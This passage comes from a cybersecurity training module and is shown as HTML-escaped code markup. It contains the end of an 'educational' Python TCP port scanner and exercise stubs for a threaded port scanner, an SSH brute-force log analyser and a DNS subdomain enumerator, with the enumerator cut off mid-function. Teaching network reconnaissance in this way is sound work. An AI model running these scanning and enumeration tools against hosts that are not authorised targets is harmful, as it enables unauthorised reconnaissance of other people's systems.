            &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;StreamHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_arguments&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port scanner — educational example&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;formatter_class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RawDescriptionHelpFormatter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;epilog&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Example: python3 scanner.py -t 192.168.1.1 -p 22,80,443&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--target&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Target host or IP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-p&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;80,443&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Comma-separated ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-T&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--timeout&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Timeout in seconds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-v&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--verbose&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;store_true&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Verbose output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Output file (JSON)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_arguments&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;setup_logging&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getLogger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Starting scan of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid port specification: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;closed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OPEN&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;closed&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Error scanning port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;target&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Results written to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  11. Hands-On Projects
&lt;/h2&gt;

&lt;p&gt;These projects build directly on everything in this module. Complete them in order. Do not look up solutions until you have spent genuine time trying.&lt;/p&gt;
&lt;h3&gt;
  
  
  Project 1: Port Scanner (1.5 hours)
&lt;/h3&gt;

&lt;p&gt;Build a TCP port scanner from scratch.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Port Scanner — Stage 0.5 Project 1
Build this yourself using the concepts from this module.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;concurrent.futures&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Return True if port is open.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# Your implementation here
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start_port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end_port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Scan a range of ports using threads.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="c1"&gt;# Use ThreadPoolExecutor for concurrent scanning
&lt;/span&gt;    &lt;span class="c1"&gt;# Your implementation here
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Use argparse for argument handling
&lt;/span&gt;    &lt;span class="c1"&gt;# Accept: target host, port range, thread count, timeout
&lt;/span&gt;    &lt;span class="c1"&gt;# Output: list of open ports with service names (use socket.getservbyport)
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Required features:
# 1. Validate IP/hostname input
# 2. Handle connection refused, timeouts separately
# 3. Multi-threaded scanning
# 4. Show progress
# 5. Output results in a clean format
# 6. Optionally save to JSON
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 2: Log Analyser (1 hour)
&lt;/h3&gt;

&lt;p&gt;Parse an SSH auth log and produce a security report.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
SSH Log Analyser — Stage 0.5 Project 2
Analyse /var/log/auth.log and produce security insights.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="c1"&gt;# Your script should:
# 1. Parse auth.log line by line
# 2. Extract: timestamp, event type, username, source IP
# 3. Count: failed attempts by IP, failed attempts by username
# 4. Identify: IPs with &amp;gt; 10 failed attempts (potential brute force)
# 5. Find: successful logins after multiple failures (potential successful brute force)
# 6. Output: formatted report with counts and top attackers
# 7. Optionally: write report to file
&lt;/span&gt;
&lt;span class="c1"&gt;# Sample output format:
# === SSH Security Report ===
# Period: 2026-05-29 00:00:00 to 2026-05-29 23:59:59
# Total events: 15,432
# Failed login attempts: 14,891
# Successful logins: 541
#
# Top 5 attacking IPs:
#   1. 45.12.34.56: 2,341 attempts
#   2. 89.45.67.89: 1,876 attempts
#   ...
#
# Suspicious: IPs with successful login after 10+ failures:
#   - 10.0.0.5: 47 failures, then 1 success for user 'admin'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 3: Subdomain Enumerator (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Subdomain Enumerator — Stage 0.5 Project 3
Discover subdomains using a wordlist and DNS resolution.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;concurrent.futures&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resolve_subdomain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subdomain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Try to resolve subdomain.domain. Return IP if exists, None if not.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;fqdn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gethostbyname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fqdn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
